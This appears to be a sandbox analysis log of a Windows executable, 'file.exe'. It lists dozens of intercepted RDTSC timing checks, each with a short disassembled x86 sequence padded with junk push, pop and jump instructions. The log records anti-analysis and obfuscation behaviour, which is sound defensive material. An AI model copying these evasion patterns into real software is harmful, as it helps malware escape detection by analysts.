Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E804A1 second address: 4E804A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E804A5 second address: 4E804AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E804AB second address: 4E80518 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F1520D32CA1h 0x00000009 jmp 00007F1520D32C9Bh 0x0000000e popfd 0x0000000f pushfd 0x00000010 jmp 00007F1520D32CA8h 0x00000015 adc esi, 75DC4008h 0x0000001b jmp 00007F1520D32C9Bh 0x00000020 popfd 0x00000021 popad 0x00000022 pop edx 0x00000023 pop eax 0x00000024 nop 0x00000025 jmp 00007F1520D32CA6h 0x0000002a push eax 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e mov al, 07h 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80518 second address: 4E8055B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15206D4F12h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007F15206D4F10h 0x0000000f lea eax, dword ptr [ebp-10h] 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F15206D4F17h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8055B second address: 4E80561 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80561 second address: 4E80575 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr fs:[00000000h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80575 second address: 4E8058D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1520D32CA4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8058D second address: 4E805C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F15206D4F17h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [ebp-18h], esp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F15206D4F15h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E805C6 second address: 4E805F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1520D32CA1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr fs:[00000018h] 0x0000000f pushad 0x00000010 mov dh, ch 0x00000012 mov ch, bh 0x00000014 popad 0x00000015 mov ecx, dword ptr [eax+00000FDCh] 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E805F3 second address: 4E80610 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15206D4F19h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80610 second address: 4E80648 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1520D32CA1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test ecx, ecx 0x0000000b pushad 0x0000000c mov edi, eax 0x0000000e push ecx 0x0000000f jmp 00007F1520D32C9Fh 0x00000014 pop esi 0x00000015 popad 0x00000016 jns 00007F1520D32CC7h 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80648 second address: 4E8064E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E8064E second address: 4E80654 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80654 second address: 4E80658 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80658 second address: 4E80685 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add eax, ecx 0x0000000a jmp 00007F1520D32CA1h 0x0000000f mov ecx, dword ptr [ebp+08h] 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F1520D32C9Dh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7021F second address: 4E70243 instructions: 0x00000000 rdtsc 0x00000002 mov esi, 1A3FCF2Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, ebp 0x0000000b jmp 00007F15206D4F12h 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70243 second address: 4E70247 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70247 second address: 4E7024B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7024B second address: 4E70251 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70251 second address: 4E70267 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F15206D4F12h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70267 second address: 4E702AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1520D32C9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d pushad 0x0000000e mov ch, F0h 0x00000010 popad 0x00000011 mov edx, 266EEC7Eh 0x00000016 popad 0x00000017 mov ebp, esp 0x00000019 jmp 00007F1520D32CA5h 0x0000001e sub esp, 2Ch 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F1520D32C9Dh 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E702AD second address: 4E7035F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F15206D4F17h 0x00000009 sub ah, 0000003Eh 0x0000000c jmp 00007F15206D4F19h 0x00000011 popfd 0x00000012 movzx eax, dx 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007F15206D4F16h 0x00000020 add al, 00000068h 0x00000023 jmp 00007F15206D4F0Bh 0x00000028 popfd 0x00000029 mov esi, 37234D5Fh 0x0000002e popad 0x0000002f mov dword ptr [esp], ebx 0x00000032 jmp 00007F15206D4F12h 0x00000037 xchg eax, edi 0x00000038 jmp 00007F15206D4F10h 0x0000003d push eax 0x0000003e pushad 0x0000003f push eax 0x00000040 push edx 0x00000041 pushfd 0x00000042 jmp 00007F15206D4F0Ah 0x00000047 or ax, 0028h 0x0000004c jmp 00007F15206D4F0Bh 0x00000051 popfd 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E703D0 second address: 4E703D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E703D6 second address: 4E703DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E703DA second address: 4E7042C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F1520D32E2Ah 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F1520D32C9Dh 0x00000015 sbb eax, 2CBF4B16h 0x0000001b jmp 00007F1520D32CA1h 0x00000020 popfd 0x00000021 mov esi, 55D31987h 0x00000026 popad 0x00000027 lea ecx, dword ptr [ebp-14h] 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d mov di, 9FAAh 0x00000031 call 00007F1520D32C9Bh 0x00000036 pop eax 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7045E second address: 4E70462 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70462 second address: 4E70473 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1520D32C9Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70563 second address: 4E70576 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jne 00007F15928F2E37h 0x0000000d pushad 0x0000000e mov dh, cl 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70576 second address: 4E705FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 mov ebx, dword ptr [ebp+08h] 0x00000009 pushad 0x0000000a push edx 0x0000000b mov edx, ecx 0x0000000d pop esi 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F1520D32CA9h 0x00000015 adc eax, 11D94CE6h 0x0000001b jmp 00007F1520D32CA1h 0x00000020 popfd 0x00000021 pushfd 0x00000022 jmp 00007F1520D32CA0h 0x00000027 sbb esi, 5F575888h 0x0000002d jmp 00007F1520D32C9Bh 0x00000032 popfd 0x00000033 popad 0x00000034 popad 0x00000035 lea eax, dword ptr [ebp-2Ch] 0x00000038 jmp 00007F1520D32CA6h 0x0000003d xchg eax, esi 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E705FB second address: 4E70605 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ebx, 1890AD7Eh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70605 second address: 4E7060B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7060B second address: 4E7060F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7060F second address: 4E70613 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70613 second address: 4E70636 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F15206D4F18h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70636 second address: 4E70668 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 movsx edi, si 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c pushad 0x0000000d mov bx, si 0x00000010 push eax 0x00000011 push edx 0x00000012 pushfd 0x00000013 jmp 00007F1520D32C9Eh 0x00000018 add cx, 32D8h 0x0000001d jmp 00007F1520D32C9Bh 0x00000022 popfd 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70668 second address: 4E70685 instructions: 0x00000000 rdtsc 0x00000002 mov si, 658Fh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F15206D4F11h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70685 second address: 4E7068B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7068B second address: 4E706B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15206D4F13h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F15206D4F0Bh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E706B4 second address: 4E706B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E706B8 second address: 4E706BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E706BE second address: 4E706CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1520D32C9Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70745 second address: 4E70762 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15206D4F11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70762 second address: 4E70766 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70766 second address: 4E7076C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7076C second address: 4E70781 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1520D32CA1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70781 second address: 4E70036 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15206D4F11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test esi, esi 0x0000000d jmp 00007F15206D4F0Eh 0x00000012 je 00007F15928F2DB3h 0x00000018 xor eax, eax 0x0000001a jmp 00007F15206AE63Ah 0x0000001f pop esi 0x00000020 pop edi 0x00000021 pop ebx 0x00000022 leave 0x00000023 retn 0004h 0x00000026 nop 0x00000027 sub esp, 04h 0x0000002a mov esi, eax 0x0000002c cmp esi, 00000000h 0x0000002f setne al 0x00000032 xor ebx, ebx 0x00000034 test al, 01h 0x00000036 jne 00007F15206D4F07h 0x00000038 jmp 00007F15206D500Fh 0x0000003d call 00007F1524710925h 0x00000042 mov edi, edi 0x00000044 pushad 0x00000045 jmp 00007F15206D4F0Eh 0x0000004a mov dx, cx 0x0000004d popad 0x0000004e xchg eax, ebp 0x0000004f push eax 0x00000050 push edx 0x00000051 pushad 0x00000052 call 00007F15206D4F19h 0x00000057 pop eax 0x00000058 push edx 0x00000059 pop eax 0x0000005a popad 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70036 second address: 4E7003C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7003C second address: 4E70055 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F15206D4F0Eh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70055 second address: 4E7005B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7005B second address: 4E700A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15206D4F0Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F15206D4F0Eh 0x00000011 mov ebp, esp 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushfd 0x00000017 jmp 00007F15206D4F0Ch 0x0000001c jmp 00007F15206D4F15h 0x00000021 popfd 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E700A5 second address: 4E700F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F1520D32C9Ch 0x0000000a sbb cx, 9898h 0x0000000f jmp 00007F1520D32C9Bh 0x00000014 popfd 0x00000015 popad 0x00000016 xchg eax, ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a pushad 0x0000001b popad 0x0000001c pushfd 0x0000001d jmp 00007F1520D32CA1h 0x00000022 sub cx, BE36h 0x00000027 jmp 00007F1520D32CA1h 0x0000002c popfd 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E700F8 second address: 4E70134 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, ebx 0x00000005 mov edx, 5E7766BEh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jmp 00007F15206D4F14h 0x00000013 xchg eax, ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F15206D4F17h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70134 second address: 4E7013A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7013A second address: 4E7014F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [ebp-04h], 55534552h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E7014F second address: 4E70153 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70153 second address: 4E70159 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70159 second address: 4E7016B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1520D32C9Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70AE5 second address: 4E70AE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70AE9 second address: 4E70B06 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1520D32CA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70B06 second address: 4E70B16 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F15206D4F0Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70B16 second address: 4E70B1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70B1A second address: 4E70B81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F15206D4F0Eh 0x0000000e xchg eax, ebp 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F15206D4F0Eh 0x00000016 and al, FFFFFFA8h 0x00000019 jmp 00007F15206D4F0Bh 0x0000001e popfd 0x0000001f popad 0x00000020 mov ebp, esp 0x00000022 jmp 00007F15206D4F12h 0x00000027 cmp dword ptr [770E459Ch], 05h 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 call 00007F15206D4F0Dh 0x00000036 pop eax 0x00000037 mov dh, C0h 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70C37 second address: 4E70C86 instructions: 0x00000000 rdtsc 0x00000002 mov ecx, 32FDA801h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b jmp 00007F1520D32CA7h 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 jmp 00007F1520D32CA9h 0x00000019 mov eax, dword ptr [eax] 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F1520D32C9Ch 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70C86 second address: 4E70CBF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15206D4F0Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov ebx, esi 0x00000012 pushfd 0x00000013 jmp 00007F15206D4F0Eh 0x00000018 and si, A108h 0x0000001d jmp 00007F15206D4F0Bh 0x00000022 popfd 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70CBF second address: 4E70CF2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, 5Ch 0x00000005 mov dl, cl 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b pushad 0x0000000c push edx 0x0000000d mov ax, B68Bh 0x00000011 pop eax 0x00000012 popad 0x00000013 call 00007F1592F47B36h 0x00000018 push 77082B70h 0x0000001d push dword ptr fs:[00000000h] 0x00000024 mov eax, dword ptr [esp+10h] 0x00000028 mov dword ptr [esp+10h], ebp 0x0000002c lea ebp, dword ptr [esp+10h] 0x00000030 sub esp, eax 0x00000032 push ebx 0x00000033 push esi 0x00000034 push edi 0x00000035 mov eax, dword ptr [770E4538h] 0x0000003a xor dword ptr [ebp-04h], eax 0x0000003d xor eax, ebp 0x0000003f push eax 0x00000040 mov dword ptr [ebp-18h], esp 0x00000043 push dword ptr [ebp-08h] 0x00000046 mov eax, dword ptr [ebp-04h] 0x00000049 mov dword ptr [ebp-04h], FFFFFFFEh 0x00000050 mov dword ptr [ebp-08h], eax 0x00000053 lea eax, dword ptr [ebp-10h] 0x00000056 mov dword ptr fs:[00000000h], eax 0x0000005c ret 0x0000005d push eax 0x0000005e push edx 0x0000005f jmp 00007F1520D32CA9h 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70CF2 second address: 4E70D15 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F15206D4F11h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub esi, esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F15206D4F0Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70D15 second address: 4E70D30 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, si 0x00000006 mov edx, ecx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [ebp-1Ch], esi 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F1520D32C9Bh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70D7C second address: 4E70D82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70D82 second address: 4E70D86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70D86 second address: 4E70DB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test al, al 0x0000000a jmp 00007F15206D4F17h 0x0000000f je 00007F15928D8AE4h 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70DB3 second address: 4E70DB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70DB7 second address: 4E70DBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E70DBB second address: 4E70DC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80BC6 second address: 4E80BCB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E80BCB second address: 4E80C00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edx, 11B92D60h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ebp, esp 0x0000000e jmp 00007F1520D32C9Fh 0x00000013 xchg eax, esi 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F1520D32CA5h 0x0000001b rdtsc
